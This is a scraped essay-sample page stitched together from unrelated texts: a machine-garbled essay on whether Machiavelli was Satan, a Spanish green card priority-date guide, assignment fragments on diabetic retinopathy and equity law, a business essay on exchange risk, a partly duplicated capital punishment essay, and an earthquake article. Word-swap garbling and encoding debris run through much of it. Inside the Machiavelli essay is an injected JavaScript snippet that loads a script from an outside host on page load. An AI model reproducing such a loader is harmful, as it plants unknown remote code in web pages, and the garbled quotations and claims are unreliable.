Was Machiavelli Satan Essay Research Paper The free essay sample

Was Machiavelli Satan? Essay, Research Paper The Church accused Niccolo Machiavelli of being Satan for composing his book The Prince. Machiavelli completed The Prince in 1513. He wrote it as a gift to Lorenzo Medici, called the Magnificent, swayer of Florence. The political positions Machiavelli expressed in his book went against the divinity of the Church, specifically the Ten Commandments and the Beatitudes. Machiavelli wrote to derive control of a princedom one must be barbarous. # 8220 ; ( I ) degree Fahrenheit you are a prince in ownership of a freshly acquired province and hold it necessary. . . to eliminate those who can or must assail you. . . . # 8221 ; , you must make so to protect your princedom. He gave the illustration of Duke Valentino # 8217 ; s murder of his Lords to keep order, stating if Valentino had non killed his work forces, Valentino would hold lost power. The Bible strongly forbids the violent death of anyone. The Sixth Commandment states # 8220 ; You shall non murder. We will write a custom essay sample on Was Machiavelli Satan Essay Research Paper The or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page # 8221 ; In what is known as the Beatitudes, from Jesus # 8217 ; Sermon on the Mount, the Bible besides says those who are mild shall inherit the Earth. A mild individual surely does non kill others for standing in his or her manner like Machiavelli is proposing to be done. Another poetry from the Beatitudes says those who are conciliators will be called boies of God. Conciliators do non kill either. For Machiavelli to state if killing a individual is for the improvement of your princedom, so to make so went against # 8220 ; God # 8217 ; s regulation # 8221 ; and the Church # 8217 ; s. True followings of the Church abide by the Church beliefs, because if you are non for God, you are for Satan. As a swayer a prince must do certain pledges and firm promises ; nevertheless, Machiavelli grounds that a prince does non hold to maintain his word all the clip. The prince can plight one thing under certain fortunes ; but if those fortunes change, he is free to alter his pledge if the alteration should profit his state of affairs. For case, Pope Alexander VI, who reigned before Machiavelli wrote The Prince, # 8220 ; made promises more persuasively or curse to them more solemnly and kept so few of them. . . . # 8221 ; Pope Alexander VI besides got what he wanted by lead oning others. The Beatitudes say those who desire righteousness will be filled ; those who are pure of bosom will see God. Righteousness and pureness do non happen through misrepresentation. The ninth of the Ten Commandments says # 8220 ; You shall non give false testimony against your neighbour, # 8221 ; intending do non lie. Matthew, the first book of the New Testament, says # 8220 ; Do no interrupt your curse. . . . # 8221 ; The Church had good ground to differ with Machiavelli about cunning. gt ; Nobility for princes can be seen as one of two ways: generous or penurious. If a prince is generous, his generousness normally comes at the disbursal of his topics. The prince would hold to revenue enhancement his people to a great extent in order to give. # 8220 ; This will get down to do him abominable to his topics and. . . will lose him the regard of everyone. # 8221 ; For a prince to give money, he need non revenue enhancement his people, instead give what he pillaged and stole piece on assorted runs. If a prince is ungenerous with the peoples money, he will non revenue enhancement as much ; therefore, his topics will honour him more. The instructions of the Church and the Bible promote generousness, and comment that maintaining one # 8217 ; s wealth to oneself will take to self devastation, Hell. The instructions likewise include # 8220 ; You shall non steal. # 8221 ; Although his thoughts were contrary to those of the Church and of the Bible, Machiavelli can non be compared with Satan. He was advancing the endurance of a princedom at any cost. He said a prince # 8220 ; will happen things which, though looking good, will take to his ruin if pursued, and others which, though looking immorality, will ensue in his safety and well-being. # 8221 ; Machiavelli besides said that if a swayer additions control by inhuman treatment and wickedness the swayer is without virtuousness, and he can non be compared to work forces of good character. He does non excuse this type of behaviour, he simply contends it is necessary to be as a prince. Assorted people in the Bible killed others. One of the greatest work forces in the Old Testament, King David took many lives in order to keep his land. Abraham, the adult male to whom God promised offspring every bit many as the stars in the sky, excessively attacked and murdered people. How can Machiavelli be so evil for merely proposing the devastation of enemies, if great work forces of the Bible really did the same? Pope Alexander VI was a adult male of the Church and a swayer, yet he openly deceived work forces. Satan excessively beguiled work forces: in the Garden of Eden Satan lied to Eve, in the desert Satan tried to misdirect Jesus. Was Alexander of all time compared to Satan as Machiavelli was? King David, known for his righteousness and unity, deceived a co-worker of his by perpetrating criminal conversation with his co-worker # 8217 ; s married woman, so covering his wickedness. At one clip, Machiavelli # 8217 ; s name was compared to Satan # 8217 ; s. His ideas and thoughts written in his book The Prince contradicted those of the Church and the Bible. But Machiavelli did non excuse the usage of force, force, and misrepresentation. He said utilizing those things would be bad if all work forces were good ; nevertheless, work forces are evil. Harmonizing to him, all work forces have a small of Satan in them. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Fecha de prioridad para obtener la green card

Fecha de prioridad para obtener la green card Tu fecha de prioridad es el dà ­a en el USCIS recibià ³ tu peticià ³n para una tarjeta de residencia. Es un dato importantà ­simo para saber cundo tendrs disponible una visa de inmigrante para ti. Si eres esposo/a, hijo soltero menor de 21 aà ±os, padre o madre de un ciudadano americano tu fecha de prioridad aparece en el documento en el que el USCIS confirma que ha recibido la aplicacià ³n. Pero realmente no es importante a estos efectos. Para ti no hay là ­mite anual en el nà ºmero de visas que se pueden conceder. Por lo tanto,  para ti no aplica el resto del artà ­culo. Por el contrario, si eres: cà ³nyuge de un residente permanente legalhijo soltero menor de 21 aà ±os de un residente permanentehermano de un ciudadanohijo soltero mayor de 21 aà ±os de un ciudadanohijo casado de cualquier edad de un ciudadano entonces sà ­ que la fecha de prioridad es muy importante para tu caso. Sigue leyendo. Los cupos anuales para tarjetas de residencia por razà ³n de familia Si ests en uno de los casos anteriores, para cada aà ±o fiscal hay un là ­mite en el nà ºmero de tarjetas de residencia que se pueden aprobar para cada categorà ­a de peticià ³n por razà ³n de familia. Pero como el nà ºmero de solicitudes que se presentan anualmente es superior al nà ºmero de tarjetas de residencia disponibles esto hace que se produzca aà ±o tras aà ±o una acumulacià ³n de casos. Y se resuelven por estricto orden de presentacià ³n de la solicitud para cada categorà ­a. Y aquà ­ es donde entra en juego la fecha de prioridad. Cà ³mo se sabe si tienes que seguir esperando o si ya hay una visa disponible para ti Tienes que saber tres cosas: tu fecha de prioridad. Puedes verla en el NOA2tu paà ­s de nacimiento. Y si es Mà ©xico, China, India o Filipinas ver si te puede aplicar un cambio de paà ­s (alternative chargeability)tu categorà ­a Las categorà ­as son estas: cuando el que pide a un familiar es un ciudadano americano: Categorà ­a F1, cuando el beneficiario es un hijo del ciudadano y reà ºne estos dos requisitos: es mayor de 21 aà ±os y est soltero o es viudo o divorciado.Categorà ­a F3, cuando el aplicante es un hijo de un estadounidense y est casado. No importa la edad.Categorà ­a F4, cuando la tarjeta de residencia se solicita para un hermano de un ciudadano. Estos son 10 pasos para este tipo de solicitud, que da una idea clara de quà © se hace en cada momento y de dà ³nde se producen las demoras. Cuando el que pide la tarjeta de residencia para un familiar es un residente permanente legal: Categorà ­a F2A, cuando el beneficiario es el marido o la mujer de un residente o un hijo menor de 21 aà ±os que est soltero.Categorà ­a F2B, cuando se solicita para un hijo soltero del residente permanente que tiene ms de 21 aà ±os. En este caso debe estar soltero, viudo o divorciado. En otras palabras, los residentes permanentes no pueden solicitar una tarjeta de residencia para los hijos casados. Una vez que sabes esos tres datos debes hacer los siguiente: Cada mes, a partir del dà ­a 8 aproximadamente, el Departamento de Estado publica en el Boletà ­n de Visas las fechas de corte (cut-off) para cada categorà ­a de visas de inmigrante para el mes siguiente.   Entonces, lo que tienes que hacer es buscar tu categorà ­a (f1, f2a, f2b, f3 o f4) y mirar la columna de Mà ©xico, si has nacido allà ­, o la del resto del mundo, si has nacido en otro paà ­s de Latinoamà ©rica o en Espaà ±a (o en otro paà ­s que no sea China, India o Filipinas). Y vers una fecha (escrita a la americana, primero el mes, luego el dà ­a y luego el aà ±o). Eso quiere decir que las peticiones en esa categorà ­a con fecha de prioridad anterior a ese dà ­a tienen ya visa de inmigrante disponible. En otras palabras, toda la tramitacià ³n se acerca a su fin, aunque todavà ­a no se ha completado. Si ests fuera de Estados Unidos, quiere decir que el consulado tiene a su disposicià ³n un nà ºmero para la visa de inmigrante. Y si ests ya en el paà ­s, que el CIS tiene un nà ºmero para proceder a tramitar el ajuste de estatus. Pero si tu fecha de prioridad es posterior al dà ­a de corte que aparece en el boletà ­n de visas, eso quiere decir que tendrs que seguir esperando. Retrocesià ³n Si todos los meses consultas el boletà ­n de visas es posible que un dà ­a te lleves un buen susto al ver que las fechas de corte en vez de ir adelantando, den un salto hacia atrs . Esto es lo que se conoce como retrocesià ³n, cuando por la razà ³n que sea no hay visas de inmigrante disponibles para una categorà ­a en concreto o incluso para un paà ­s dentro de una categorà ­a. Suele darse cuando el aà ±o fiscal se acerca a su fin. A tener en cuenta La fecha de corte que aparece en el boletà ­n de visas quiere decir cunto han estado esperando las personas que han hecho su peticià ³n en determinada categorà ­a. Pero si ahora presentas tà º una peticià ³n, no quiere decir que ese vaya a ser tu tiempo de espera. Puede ser mayor o menor. Pero en todo caso te da una idea de lo lento que funciona el sistema. Y aquà ­ se puede ver cunto se demora todo tipo de trmite migratorio, desde lo que tardan las residencias a presentarse en Corte, solicitud de visas u otro tipo de peticiones. Para evitar repeticiones a la hora de escribir el artà ­culo, se utilizan las palabras ciudadano, hijos, trabajadores, etc en sentido genà ©rico, incluyendo tanto al hombre como a la mujer. Es decir, cuando se habla de un hijo de un ciudadano hay que entender que tambià ©n se contempla el caso de la hija de un ciudadano o los hijos de una ciudadana. Y asà ­ en todos los supuestos. Consejo y dà ³nde encontrar informacià ³n Toma una test para verificar que tienes los conocimientos bsicos  sobre cà ³mo obtener y conservar la tarjeta de residencia. Es difà ­cil conseguirla. No corras el riesgo de que te la cancelen por ignorancia. Finalmente, es importante saber dà ³nde encontrar informacià ³n sobre el caso, saber dà ³nde reportar fraudes o dà ³nde solicitar ayuda.

Choose one macrovascular and microvascular complication and discuss Assignment

Choose one macrovascular and microvascular complication and discuss the best evidence based assessment & management to identify and prevent secondary complications from the disease process - Assignment Example One of the most likely microvascular complications that they are likely to develop is retinopathy commonly known as retinopathy. The complication can be easily identified in individual with type 1 and type 2 diabetes. One can use several features in easy identification of the condition. One of the common characteristics that can be easily used in the identification of the complication is the presence of small haemorrhages in the central part of the retina (Fowler, 2008). Haemorrhages in this section of the eye appear as dots. The other characteristics that can be easily used in the identification of the condition in these individuals is the presence of hard exudates in the skin. The other common attributes are the presence of small vascular dilatations that occur in the retina commonly known as microaneurysms (Fowler, 2008). The location of the small vascular dilations can help in direct identification of the complication as they are usually the first to develop. Moreover, an individ ual is most likely to have retinal oedema that indicates microvascular leakage. Hence, individual retina is most likely to be greyish in colour. The severity can be easily identified by noting individual visual capability. The management of the disease is crucial in preventing the development of the complication. One of the key things in preventing of complication is by ensuring the three take part in dietary changes (Lewis, Dirksen, Heitkemper & Bucher, 2013). Change of diet will involve a reduction of carbohydrate intake and at the same time increase the fibre intake (Australian Indigenous HealthInfoNet. (2007). Another way of reducing complication is ensuring the affected individuals take part in eye screening. Eyes should be regularly checked by ophthalmologist especially on a yearly basis (Australian Indigenous HealthInfoNet. (2007). On the other hand, Nick, Marty, and Sam are likely to develop macrovascular complications. One of the common types of this complication is

A, Critically explain an account for the equitable maxim equity will Essay

A, Critically explain an account for the equitable maxim equity will not assist a volunteer and B, Critically explain an account for the differences between equitable and common law remedies - Essay Example A donatio mortis causa is where property is transferred to another in expectation that the maker will be dying soon after the item has been transferred. The transfer is conditional that the death is imminent. Such a gift is effective form the moment it has been made subject to the death of the testator soon after making the bequest. The gift is classed as an inter vivos gift such that if the testator does not die as expected the gift will be revoked. Blackstone talks of donatio mortis causa as occurring when a person ‘in his last sickness, apprehending his dissolution near, delivers or causes to be delivered to another the possession of any personal goods to keep in case of his decease’. Swinburne identifies 3 types of donatio mortis causa, these being a gift in anticipation of death, a gift moved by imminent danger which takes effect immediately and a gift where a person in peril of death gives something to the donee that only becomes the property of the donee if the donor dies. The Lord Chancellor disagreed with this stating that only the first of these was a donatio mortis causa. The Lord Chancellor made the comment that the second type would be an inter vivos gift whilst the third type would be a testamentary disposition. ‘for an effectual donatio mortis causa three things must combine: first, the gift or donation must have been made in contemplation, though not necessarily in expectation, of death; secondly, there must have been delivery to the donee of the subject-matter of the gift; and, thirdly, the gift must be made under such circumstances as shew that the thing is to revert to the donor in case he should recover’ As a result of cases such as Sen v. Headley2 the courts have adopted a different approach to the application of donatio mortis causa. The new conditions require that the gift was made in contemplation of death, rather than expectation; that the gift is made subject to the condition that it will only

Exchange Risks Essay Example for Free

Exchange Risks Essay The challenging issues in international business within the 20th and 21st century are currency and exchange rate risks. In the late 20th century, for instances, it has been clear that exchange rate risks considerations are critical for business survival. The economics crisis in the U. S. and most of European countries has displayed how the value of currencies in international business settings could alter the faith of millions of people, brought some to welfare and others to poverty. Concerning the business strategy into Brazilian market, the plan to strengthen market in the country is greatly influenced by economical factors such as the inflation figure of Brazil and the global economics crisis. The inflation figure is important since it influence the purchasing power of Brazilian. The global economic crisis also influences the country’s exchange rate of Brazilian currency that further influence the pricing of Bimbo bread products. In the light of this involvement, companies need to perform foreign currency risks assessments regarding the business activities. Most companies generally apply some of the financial tools that would protect them from foreign currency risk exposure, like futures, forward contract, etc. Recommendation The first analysis that Bimbo may take in expanding into foreign market is the country risk analysis. This is important factor for Bimbo since retail industry is low concentrated industry in which many local bread providers. In addition, country risk analysis also helps Bimbo in assessing whether a country has a set of policy that benefits business or vice versa. The figure 1 suggests that the more attractive a country is in terms of FDI index, the more likely that Bimbo must immediately presents in the country. Based on the FDI Index, we assess that Bimbo has performed suitable investment in Brazil. Since a country risk is only one factor in deciding a foreign direct investment, Bimbo must perform the next step that is to define marketing objectives to guide the company in assessing their productivity in foreign market. Figure 1 Top 25 Countries in term of FDI Confidence Index Source: A. T. Kearney Challenges of Grupo Bimbo in the U. S Choose the Suitable Entry Strategy In terms of market entry, there are many ways of entering a foreign market; each has its own economic and legal implications. Some entry strategies that multinational companies usually take are joint venture and foreign direct investment. Joint venture is a type of foreign market penetration strategy has a considerably large investment risk but this method consists of an opportunity to learn and create a greater presence in the targeted markets. Companies prefer to perform this type of market entry strategy when dealing with countries whose government put considerable restrictions on foreign ownership (Quick MBA, 2007). In case of Bimbo, the company may conduct joint marketing, for example, with local retailer named Lojas Americanas, a Brazil leading department store chain. This method provides Bimbo with the capability to learn the Brazilian retail market since at that time Customers’ Preferences Other risks in conducting international expansion are cultural issues. This factor then accumulates into becoming customers’ preferences. According to various studies in the field, culture is often an underestimated factor in managing corporate businesses. These studies also revealed that those companies that failed to place culture as an important business consideration often find themselves in a disappointing circumstance. Business investments that cost millions of US dollars could go down the drain due to such failure (Kwintessential, 2007). For instances, the Brazilian and U. S. customers consider the quality of product as the most important factor when deciding to buy merchandises. The other factors are price, value added and packaging. Today, however, realizing the global environment we are living in, companies are becoming increasingly cultural sensitive. There are various examples of corporations that hired people from various backgrounds and discover a synergy within their cooperation. In terms of Bimbo, in order to cope with cultural issues, the company also makes some cultural adjustment such as the use of advertisement media. If in the U. S. , the company spends many television advertising, in the Brazil, Bimbo takes many radio advertisings since many Brazilian housewives listen to the radio more often then watching television. Reference: Ball, Donald A. et al. (2002). International Business the Challenge of Global Competition. McGraw Hill Holt, David H and Wigginton, Karen W. (2002). International Management. Thomson Kotler, Philip. (2000). Marketing Management. New Jersey: Prentice Hall Inc Kwintessential. (2007). Cultural Sensitivity in Business. Retrieved October 10, 2008 from http://www. kwintessential. co. uk/cultural-services/articles/cultural-sensitivity. html Quick MBA. (2007). Foreign Market Entry Modes. Retrieved October 10, 2008 from http://www. quickmba. com/strategy/global/marketentry/.

Capital Punishment Essay -- essays research papers

Societies all over the globe have been using capital punishment for thousands of years. It has always been considered a relatively cheap and effective way to punish the offender and effectively remove him or her from society. Although the methods of carrying it out have slowly gotten more humane over the centuries, it is still alive and well in modern culture. While capital punishment is the most extreme punishment imaginable, barring torture, it is also the most efficient and logical way to deal with many criminals today and their inexplicable crimes against humanity. It not only removes the criminal from society, helping to protect the rest of it’s citizens, but it also saves a large amount of tax dollars that would otherwise be spent on keeping the subject incarcerated for a long period of time. Yes, certain modern methods of capital punishment such as lethal injection may be expensive, considering the price of some of the chemicals and equipment used, but it is miniscule in comparison to the cost of paying for someone’s food, shelter, clothing, and other things for the next 50-60 years or so.   Ã‚  Ã‚  Ã‚  Ã‚  Throughout history, traditional methods of execution have often been somewhat cruel and/or barbaric. In medieval Europe for example, subjects were often beheaded with a large battle ax. This proved to be somewhat inefficient and often put it’s victims through intense agony and suffering in their final living moments. Often times the exe... Capital Punishment Essay -- essays research papers Societies all over the globe have been using capital punishment for thousands of years. It has always been considered a relatively cheap and effective way to punish the offender and effectively remove him or her from society. Although the methods of carrying it out have slowly gotten more humane over the centuries, it is still alive and well in modern culture. While capital punishment is the most extreme punishment imaginable, barring torture, it is also the most efficient and logical way to deal with many criminals today and their inexplicable crimes against humanity. It not only removes the criminal from society, helping to protect the rest of it’s citizens, but it also saves a large amount of tax dollars that would otherwise be spent on keeping the subject incarcerated for a long period of time. Yes, certain modern methods of capital punishment such as lethal injection may be expensive, considering the price of some of the chemicals and equipment used, but it is miniscule in comparison to the cost of paying for someone’s food, shelter, clothing, and other things for the next 50-60 years or so.   Ã‚  Ã‚  Ã‚  Ã‚  Throughout history, traditional methods of execution have often been somewhat cruel and/or barbaric. In medieval Europe for example, subjects were often beheaded with a large battle ax. This proved to be somewhat inefficient and often put it’s victims through intense agony and suffering in their final living moments. Often times the exe...

Naturally Occuring Earth Quakes

————————————————- Naturally occurring earthquakes Fault types Tectonic earthquakes occur anywhere in the earth where there is sufficient stored elastic strain energy to drive fracture propagation along a  fault plane. The sides of a fault move past each other smoothly and  aseismically  only if there are no irregularities or  asperities  along the fault surface that increase the frictional resistance. Most fault surfaces do have such asperities and this leads to a form of  stick-slip behaviour.Once the fault has locked, continued relative motion between the plates leads to increasing stress and therefore, stored strain energy in the volume around the fault surface. This continues until the stress has risen sufficiently to break through the asperity, suddenly allowing sliding over the locked portion of the fault, releasing the  stored energy. This energy is rel eased as a combination of radiated elastic  strain  seismic waves, frictional heating of the fault surface, and cracking of the rock, thus causing an earthquake.This process of gradual build-up of strain and stress punctuated by occasional sudden earthquake failure is referred to as the  elastic-rebound theory. It is estimated that only 10 percent or less of an earthquake's total energy is radiated as seismic energy. Most of the earthquake's energy is used to power the earthquake  fracture  growth or is converted into heat generated by friction. Therefore, earthquakes lower the Earth's available  elastic potential energy  and raise its temperature, though these changes are negligible compared to the conductive and convective flow of heat out from the  Earth's deep interior. 2] Earthquake fault types Main article:  Fault (geology) There are three main types of fault that may cause an earthquake: normal, reverse (thrust) and strike-slip. Normal and reverse faulting a re examples of dip-slip, where the displacement along the fault is in the direction of  dip  and movement on them involves a vertical component. Normal faults occur mainly in areas where the crust is being  extended  such as a  divergent boundary. Reverse faults occur in areas where the crust is being  shortened  such as at a convergent boundary. Strike-slip faultsare teep structures where the two sides of the fault slip horizontally past each other; transform boundaries are a particular type of strike-slip fault. Many earthquakes are caused by movement on faults that have components of both dip-slip and strike-slip; this is known as oblique slip. Reverse faults, particularly those along  convergent plate boundaries  are associated with the most powerful earthquakes, including almost all of those of magnitude 8 or more. Strike-slip faults, particularly continental  transforms  can produce major earthquakes up to about magnitude 8.Earthquakes associated with nor mal faults are generally less than magnitude 7. This is so because the energy released in an earthquake, and thus its magnitude, is proportional to the area of the fault that ruptures[3]  and the stress drop. Therefore, the longer the length and the wider the width of the faulted area, the larger the resulting magnitude. The topmost, brittle part of the Earth’s crust, and the cool slabs of the tectonic plates that are descending down into the hot mantle, are the only parts of our planet which can store elastic energy and release it in fault ruptures.Rocks hotter than about 300 degrees Celsius flow in response to stress; they do not rupture in earthquakes. [4][5]  The maximum observed lengths of ruptures and mapped faults, which may break in one go are approximately 1000  km. Examples are the earthquakes in  Chile, 1960;  Alaska, 1957;  Sumatra, 2004, all in subduction zones. The longest earthquake ruptures on strike-slip faults, like the  San Andreas Fault  (1 857, 1906), the  North Anatolian Fault  in Turkey (1939) and theDenali Fault  in Alaska (2002), are about half to one third as long as the lengths along subducting plate margins, and those along normal faults are even shorter.Aerial photo of the San Andreas Fault in the  Carrizo Plain, northwest of Los Angeles The most important parameter controlling the maximum earthquake magnitude on a fault is however not the maximum available length, but the available width because the latter varies by a factor of 20. Along converging plate margins, the dip angle of the rupture plane is very shallow, typically about 10 degrees. [6]  Thus the width of the plane within the top brittle crust of the Earth can become 50 to 100  km (Tohoku, 2011;  Alaska, 1964), making the most powerful earthquakes possible.Strike-slip faults tend to be oriented near vertically, resulting in an approximate width of 10  km within the brittle crust,[7]  thus earthquakes with magnitudes much larger than 8 are not possible. Maximum magnitudes along many normal faults are even more limited because many of them are located along spreading centers, as in Iceland, where the thickness of the brittle layer is only about 6  km. [8][9] In addition, there exists a hierarchy of stress level in the three fault types. Thrust faults are generated by the highest, strike slip by intermediate, and normal faults by the lowest stress levels. 10]  This can easily be understood by considering the direction of the greatest principal stress, the direction of the force that ‘pushes’ the rock mass during the faulting. In the case of normal faults, the rock mass is pushed down in a vertical direction, thus the pushing force (greatest  principal stress) equals the weight of the rock mass itself. In the case of thrusting, the rock mass ‘escapes’ in the direction of the least principal stress, namely upward, lifting the rock mass up, thus the overburden equals the  least  p rincipal stress.Strike-slip faulting is intermediate between the other two types described above. This difference in stress regime in the three faulting environments can contribute to differences in stress drop during faulting, which contributes to differences in the radiated energy, regardless of fault dimensions. Earthquakes away from plate boundaries Main article:  Intraplate earthquake Where plate boundaries occur within  continental lithosphere, deformation is spread out over a much larger area than the plate boundary itself.In the case of the  San Andreas fault  continental transform, many earthquakes occur away from the plate boundary and are related to strains developed within the broader zone of deformation caused by major irregularities in the fault trace (e. g. , the â€Å"Big bend† region). The  Northridge earthquake  was associated with movement on a blind thrust within such a zone. Another example is the strongly oblique convergent plate boundary bet ween the  Arabian  and  Eurasian plates  where it runs through the northwestern part of the  Zagros  mountains.The deformation associated with this plate boundary is partitioned into nearly pure thrust sense movements perpendicular to the boundary over a wide zone to the southwest and nearly pure strike-slip motion along the Main Recent Fault close to the actual plate boundary itself. This is demonstrated by earthquake  focal mechanisms. [11] All tectonic plates have internal stress fields caused by their interactions with neighbouring plates and sedimentary loading or unloading (e. g. deglaciation[12]).These stresses may be sufficient to cause failure along existing fault planes, giving rise to  intraplate earthquakes. [13] Shallow-focus and deep-focus earthquakes Main article:  Depth of focus (tectonics) The majority of tectonic earthquakes originate at the ring of fire in depths not exceeding tens of kilometers. Earthquakes occurring at a depth of less than 70  km are classified as ‘shallow-focus' earthquakes, while those with a focal-depth between 70 and 300  km are commonly termed ‘mid-focus' or ‘intermediate-depth' earthquakes.In  subduction zones, where older and colder  oceanic crust  descends beneath another tectonic plate,  deep-focus earthquakes  may occur at much greater depths (ranging from 300 up to 700  kilometers). [14]  These seismically active areas of subduction are known as  Wadati-Benioff zones. Deep-focus earthquakes occur at a depth where the subducted  lithosphere  should no longer be brittle, due to the high temperature and pressure. A possible mechanism for the generation of deep-focus earthquakes is faulting caused by  olivine  undergoing a  phase transition  into a  spinel  structure. 15] Earthquakes and volcanic activity Earthquakes often occur in volcanic regions and are caused there, both by  tectonic  faults and the movement of  magma  in  volcanoe s. Such earthquakes can serve as an early warning of volcanic eruptions, as during the  Mount St. Helens  eruption of 1980. [16]  Earthquake swarms can serve as markers for the location of the flowing magma throughout the volcanoes. These swarms can be recorded by seismometers and  tiltmeters  (a device that measures ground slope) and used as sensors to predict imminent or upcoming eruptions. [17] Rupture dynamicsA tectonic earthquake begins by an initial rupture at a point on the fault surface, a process known as nucleation. The scale of the nucleation zone is uncertain, with some evidence, such as the rupture dimensions of the smallest earthquakes, suggesting that it is smaller than 100 m while other evidence, such as a slow component revealed by low-frequency spectra of some earthquakes, suggest that it is larger. The possibility that the nucleation involves some sort of preparation process is supported by the observation that about 40% of earthquakes are preceded by fo reshocks.Once the rupture has initiated it begins to propagate along the fault surface. The mechanics of this process are poorly understood, partly because it is difficult to recreate the high sliding velocities in a laboratory. Also the effects of strong ground motion make it very difficult to record information close to a nucleation zone. [18] Rupture propagation is generally modeled using a  fracture mechanics  approach, likening the rupture to a propagating mixed mode shear crack. The rupture velocity is a function of the fracture energy in the volume around the crack tip, increasing with decreasing fracture energy.The velocity of rupture propagation is orders of magnitude faster than the displacement velocity across the fault. Earthquake ruptures typically propagate at velocities that are in the range 70–90% of the S-wave velocity and this is independent of earthquake size. A small subset of earthquake ruptures appear to have propagated at speeds greater than the S-w ave velocity. These  supershear earthquakes  have all been observed during large strike-slip events. The unusually wide zone of coseismic damage caused by the  2001 Kunlun earthquake  has been attributed to the effects of the  sonic boom  developed in such earthquakes.Some earthquake ruptures travel at unusually low velocities and are referred to as  slow earthquakes. A particularly dangerous form of slow earthquake is the  tsunami earthquake, observed where the relatively low felt intensities, caused by the slow propagation speed of some great earthquakes, fail to alert the population of the neighbouring coast, as in the  1896 Meiji-Sanriku earthquake. [18] Tidal forces See also:  Earthquake prediction#Tides Research work has shown a robust correlation between small tidally induced forces and non-volcanic tremor activity. 19][20][21][22] Earthquake clusters Most earthquakes form part of a sequence, related to each other in terms of location and time. [23]  Mos t earthquake clusters consist of small tremors that cause little to no damage, but there is a theory that earthquakes can recur in a regular pattern. [24] Aftershocks Main article:  Aftershock An aftershock is an earthquake that occurs after a previous earthquake, the mainshock. An aftershock is in the same region of the main shock but always of a smaller magnitude.If an aftershock is larger than the main shock, the aftershock is redesignated as the main shock and the original main shock is redesignated as a  foreshock. Aftershocks are formed as the crust around the displaced  fault plane  adjusts to the effects of the main shock. [23] Earthquake swarms Main article:  Earthquake swarm Earthquake swarms are sequences of earthquakes striking in a specific area within a short period of time. They are different from earthquakes followed by a series of  aftershocks  by the fact that no single earthquake in the sequence is obviously the main shock, therefore none have notabl e higher magnitudes than the other.An example of an earthquake swarm is the 2004 activity atYellowstone National Park. [25] Earthquake storms Main article:  Earthquake storm Sometimes a series of earthquakes occur in a sort of  earthquake storm, where the earthquakes strike a fault in clusters, each triggered by the shaking or stress redistribution of the previous earthquakes. Similar to  aftershocks  but on adjacent segments of fault, these storms occur over the course of years, and with some of the later earthquakes as damaging as the early ones.Such a pattern was observed in the sequence of about a dozen earthquakes that struck the  North Anatolian Fault  in Turkey in the 20th century and has been inferred for older anomalous clusters of large earthquakes in the Middle East. [26][27] ————————————————- Size and frequency of occurrence It is estimated that aro und 500,000 earthquakes occur each year, detectable with current instrumentation. About 100,000 of these can be felt. [28][29]  Minor earthquakes occur nearly constantly around the world in places like  California  and  Alaska  in the U. S. , as well as n  Mexico,  Guatemala,  Chile,  Peru,  Indonesia,  Iran,  Pakistan, the  Azores  in  Portugal,  Turkey,  New Zealand,  Greece,Italy, and  Japan, but earthquakes can occur almost anywhere, including  New York City,  London, and  Australia. [30]  Larger earthquakes occur less frequently, the relationship being  exponential; for example, roughly ten times as many earthquakes larger than magnitude 4 occur in a particular time period than earthquakes larger than magnitude 5. In the (low seismicity) United Kingdom, for example, it has been calculated that the average recurrences are: an earthquake of 3. –4. 6 every year, an earthquake of 4. 7–5. 5 every 10  years, and an earth quake of 5. 6 or larger every 100  years. [31]  This is an example of the  Gutenberg-Richter law. The  Messina earthquake  and tsunami took as many as 200,000 lives on December 28, 1908 in  Sicily  and  Calabria. [32] The number of seismic stations has increased from about 350 in 1931 to many thousands today. As a result, many more earthquakes are reported than in the past, but this is because of the vast improvement in instrumentation, rather than an increase in the number of earthquakes.The  United States Geological Survey  estimates that, since 1900, there have been an average of 18 major earthquakes (magnitude 7. 0–7. 9) and one great earthquake (magnitude 8. 0 or greater) per year, and that this average has been relatively stable. [33]  In recent years, the number of major earthquakes per year has decreased, though this is probably a statistical fluctuation rather than a systematic trend. [citation needed]  More detailed statistics on the size and frequency of earthquakes is available from the  United States Geological Survey  (USGS). 34]  A recent increase in the number of major earthquakes has been noted, which could be explained by a cyclical pattern of periods of intense tectonic activity, interspersed with longer periods of low-intensity. However, accurate recordings of earthquakes only began in the early 1900s, so it is too early to categorically state that this is the case. [35] Most of the world's earthquakes (90%, and 81% of the largest) take place in the 40,000  km long, horseshoe-shaped zone called the circum-Pacific seismic belt, known as the  Pacific Ring of Fire, which for the most part bounds the  Pacific Plate. 36][37]  Massive earthquakes tend to occur along other plate boundaries, too, such as along the  Himalayan Mountains. [38] With the rapid growth of  mega-cities  such as  Mexico City,  Tokyo  and  Tehran, in areas of high  seismic risk, some seismologists are warning that a single quake may claim the lives of up to 3  million people. [39] ————————————————- Induced seismicity Main article:  Induced seismicity While most earthquakes are caused by movement of the Earth's  tectonic plates, human activity can also produce earthquakes.Four main activities contribute to this phenomenon: storing large amounts of water behind a  dam  (and possibly building an extremely heavy  building), drilling and injecting liquid into  wells, and by  coal mining  and  oil drilling. [40]  Perhaps the best known example is the  2008 Sichuan earthquake  in China's  Sichuan Province  in May; this tremor resulted in 69,227 fatalities and is the  19th deadliest earthquake of all time. The  Zipingpu Dam  is believed to have fluctuated the pressure of the fault 1,650 feet (503  m) away; this pressure probably increased the power of t he earthquake and accelerated the rate of movement for the fault. 41]  The greatest earthquake in Australia's history is also claimed to be induced by humanity, through coal mining. The city of Newcastle  was built over a large sector of coal mining areas. The earthquake has been reported to be spawned from a fault that reactivated due to the millions of tonnes of rock removed in the mining process. [42] ————————————————- Measuring and locating earthquakes Main article:  Seismology Earthquakes can be recorded by seismometers up to great distances, because  seismic waves  travel through the whole  Earth's interior.The absolute magnitude of a quake is conventionally reported by numbers on the  Moment magnitude scale  (formerly Richter scale, magnitude 7 causing serious damage over large areas), whereas the felt magnitude is reported using the modifiedMercalli intensity scale  (intensity II–XII). Every tremor produces different types of seismic waves, which travel through rock with different velocities: * Longitudinal  P-waves  (shock- or pressure waves) * Transverse  S-waves  (both body waves) * Surface waves  Ã¢â‚¬â€ (Rayleigh  and  Love  waves) Propagation velocity  of the seismic waves ranges from approx.   km/s up to 13  km/s, depending on the  density  and  elasticity  of the medium. 